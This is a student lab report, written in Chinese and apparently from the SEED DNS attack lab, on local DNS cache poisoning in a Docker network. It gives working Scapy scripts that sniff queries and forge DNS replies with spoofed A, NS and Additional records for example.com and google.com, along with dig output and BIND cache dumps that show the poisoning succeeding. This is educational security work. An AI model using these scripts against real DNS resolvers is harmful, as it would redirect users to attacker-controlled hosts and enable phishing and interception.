LAB 5

57118209 余悦

Task1

```
[07/18/21]seed@VM:~/.../volumes$ dockps
3cfb866efa53  attacker-ns-10.9.0.153
822f02373e77  seed-attacker
29a88188192e  seed-router
1be4785dfe1d  local-dns-server-10.9.0.53
1177b27d0430  user-10.9.0.5
```

```
; <<>> DiG 9.16.1-Ubuntu <<>> ns.attacker32.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 59159
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 38f2cf088f6f73b40100000060f4d89a19a6357529d32132 (good)
;; QUESTION SECTION:
;ns.attacker32.com.             IN      A

;; ANSWER SECTION:
ns.attacker32.com.      259200  IN      A       10.9.0.153

;; Query time: 28 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 01:42:50 UTC 2021
;; MSG SIZE  rcvd: 90
```

编写的代码如下，其中包含一条 DNS 记录，将 example.com 映射到 10.9.0.153

```python
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
  if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

        ip = IP(dst=pkt[IP].src,src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport,sport=pkt[UDP].dport)
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rdata="10.9.0.153")
        dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1,ancount=1,an=Anssec)
        spoofpkt = ip/udp/dns
        send(spoofpkt)

myFilter = "src host 10.9.0.5 and dst host 10.9.0.53"
pkt=sniff(iface='br-dfcbe0c9bf08',filter=myFilter,prn=spoof_dns)
```

运行上述程序发送报文包，执行 dig 命令，发现响应中 example 被映射到 10.9.0.153：

```
root@1177b27d0430:/# dig example.com

; <<>> DiG 9.16.1-Ubuntu <<>> example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12353
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 0

;; QUESTION SECTION:
;example.com.                   IN      A

;; ANSWER SECTION:
example.com.            259200  IN      A       10.9.0.153

;; Query time: 71 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 02:09:00 UTC 2021
;; MSG SIZE  rcvd: 56
```

Task2

（存在部分 Task3 的内容）

修改编写代码程序，构造 NS,将 example.com 指向 ns.attacker32.com，代码如下：

sniff.py　dns_sniff_spoof.py　sp.py

```python
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
  if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

        ip = IP(dst=pkt[IP].src,src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport,sport=pkt[UDP].dport)
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rdata="1.2.3.4")
        NSsec = DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')
        dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1,ancount=1,nscount=1,an=Anssec,ns=NSsec)
        spoofpkt = ip/udp/dns
        send(spoofpkt)

myFilter = "udp and dst port 53"
pkt=sniff(iface='br-dfcbe0c9bf08',filter=myFilter,prn=spoof_dns)
```

清空缓存（后面每次查看缓存之前均需要清空一下）：

```
:/# rndc flush
```

运行代码，dig www.example.com，则在本地 DNS 服务器缓存中，可发现映射到了 1.2.3.4，增加了 ns 记录，example.com 指向了 ns.attacker32.com：

```
; <<>> DiG 9.16.1-Ubuntu <<>> wwww.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 12354
;; flags: qr aa; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 0

;; QUESTION SECTION:
;wwww.example.com.              IN      A

;; ANSWER SECTION:
wwww.example.com.       259200  IN      A       1.2.3.4

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.

;; Query time: 87 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 03:24:40 UTC 2021
;; MSG SIZE  rcvd: 108
```

```
; authanswer
                        863998  IN A    10.9.0.153
; authauthority
example.com.            863998  NS      ns.attacker32.com.
; authanswer
_.example.com.          863998  A       1.2.3.4
;
```

```
root@1be4785dfe1d:/# rndc dumpdb -cache
root@1be4785dfe1d:/# cat /var/cache/bind/dump.db | grep example
example.com.            863998  NS      ns.attacker32.com.
_.example.com.          863998  A       1.2.3.4
```

Task3

在上面实验代码的运行之下，进行 dig mail.example.com，可以看到伪造的响应

将其映射到了 1.2.3.6：

```
; <<>> DiG 9.16.1-Ubuntu <<>> mail.example.com
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 58151
;; flags: qr rd ra; QUERY: 1, ANSWER: 1, AUTHORITY: 0, ADDITIONAL: 1

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: eef2d7129f63a1c00100000060f4f1ba38670a22c2fee19c (good)
;; QUESTION SECTION:
;mail.example.com.              IN      A

;; ANSWER SECTION:
mail.example.com.       259200  IN      A       1.2.3.6

;; Query time: 8 msec
;; SERVER: 10.9.0.53#53(10.9.0.53)
;; WHEN: Mon Jul 19 03:30:03 UTC 2021
;; MSG SIZE  rcvd: 89
```

```
; answer
ns.attacker32.com.      615511  IN \-AAAA ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800
7200 2419200 86400
; authanswer
                        863911  IN A    10.9.0.153
; authauthority
example.com.            863911  NS      ns.attacker32.com.
; authanswer
_.example.com.          863911  A       1.2.3.4
; authanswer
mail.example.com.       863995  A       1.2.3.6
.
```

Task4.

再次增加一条 NS，也将 ns.attacker32.com 做为 google.com 的域名服务器：

```python
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
  if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

        ip = IP(dst=pkt[IP].src,src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport,sport=pkt[UDP].dport)
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rdata="1.2.3.4")
        NSsec1 = DNSRR(rrname='google.com',type='NS',ttl=259200,rdata='ns.attacker32.com')
        NSsec2= DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')
        dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1,ancount=1,nscount=2,an=Anssec,ns=NSsec1/NSsec2)
        spoofpkt = ip/udp/dns
        send(spoofpkt)

myFilter = "udp and dst port 53"
pkt=sniff(iface='br-dfcbe0c9bf08',filter=myFilter,prn=spoof_dns)
```

运行代码，执行 dig 命令，响应中 www.example 被映射到 1.2.3.4，攻击成功：

```
;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
google.com.             259200  IN      NS      ns.attacker32.com.
```

但是在本地域名服务器只保存一条记录，当交换 NSsec1 和 2 时，可分两次分别看到记录：

```
; authanswer
                        863983  IN A    10.9.0.153
; authauthority
example.com.            863983  NS      ns.attacker32.com.
; authanswer
_.example.com.          863983  A       1.2.3.4
;
```

```
; answer
ns.attacker32.com.      615592  IN \-AAAA ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 24192
00 86400
; authanswer
                        863992  IN A    10.9.0.153
; authanswer
_.example.com.          863986  A       1.2.3.4
; authauthority
google.com.             863986  NS      ns.attacker32.com.
;
; Address database dump
;
```

Task5

构造 Additional section 记录，编写两条 NS 如下：

```python
from scapy.all import *

NS_NAME = "example.com"

def spoof_dns(pkt):
  if (DNS in pkt and NS_NAME in pkt[DNS].qd.qname.decode('utf-8')):
        print(pkt.sprintf("{DNS: %IP.src% --> %IP.dst%: %DNS.id%}"))

        ip = IP(dst=pkt[IP].src,src=pkt[IP].dst)
        udp = UDP(dport=pkt[UDP].sport,sport=pkt[UDP].dport)
        Anssec = DNSRR(rrname=pkt[DNS].qd.qname,type='A',ttl=259200,rdata="1.2.3.4")
        NSsec1 = DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.attacker32.com')
        NSsec2 = DNSRR(rrname='example.com',type='NS',ttl=259200,rdata='ns.example.com')
        Addsec1 = DNSRR(rrname='ns.attacker32.com',type='A',ttl=259200,rdata='1.2.3.4')
        Addsec2 = DNSRR(rrname='ns.example.net',type='A',ttl=259200,rdata='5.6.7.8')
        Addsec3 = DNSRR(rrname='www.facebook.com',type='A',ttl=259200,rdata='3.4.5.6')
        dns = DNS(id=pkt[DNS].id,qd=pkt[DNS].qd,aa=1,rd=0,qr=1,qdcount=1,ancount=1,nscount=2,arcount=3,an=Anssec,ns=NSsec1/
NSsec2,ar=Addsec1/Addsec2/Addsec3)
        spoofpkt = ip/udp/dns
        send(spoofpkt)

myFilter = "udp and dst port 53"
pkt=sniff(iface='br-cbc1029e8c24',filter=myFilter,prn=spoof_dns)
```

运行上述程序，执行 dig 命令，响应中 www.example 被映射到 1.2.3.4，攻击成功，也可以看到 additional section 部分的显示：

```
;; ANSWER SECTION:
www.example.com.        259200  IN      A       1.2.3.4

;; AUTHORITY SECTION:
example.com.            259200  IN      NS      ns.attacker32.com.
example.com.            259200  IN      NS      ns.example.com.

;; ADDITIONAL SECTION:
ns.attacker32.com.      259200  IN      A       1.2.3.4
ns.example.net.         259200  IN      A       5.6.7.8
www.facebook.com.       259200  IN      A       3.4.5.6
```

在本地服务器缓存中查看，example.com 均可映射 ns.example.com 和 ns.attacker32.com:

```
$DATE 20210713025747
; answer
ns.attacker32.com.      615593  IN \-AAAA ;-$NXRRSET
; attacker32.com. SOA ns.attacker32.com. admin.attacker32.com. 2008111001 28800 7200 24192
00 86400
; authanswer
                        863993  IN A    10.9.0.153
; authauthority
example.com.            863993  NS      ns.example.com.
                        863993  NS      ns.attacker32.com.
; authanswer
_.example.com.          863993  A       1.2.3.4
; authanswer
ns.example.com.         863993  A       1.2.3.4
```

Additional section 中的 www.facebook.com 没有，因为其不再域内，不会被接收。

```
root@232b7f22708c:/# rndc flush
root@232b7f22708c:/# rndc dumpdb -cache
root@232b7f22708c:/# rndc dumpdb -cache
root@232b7f22708c:/# cat /var/cache/bind/dump.db | grep facebook
root@232b7f22708c:/#
```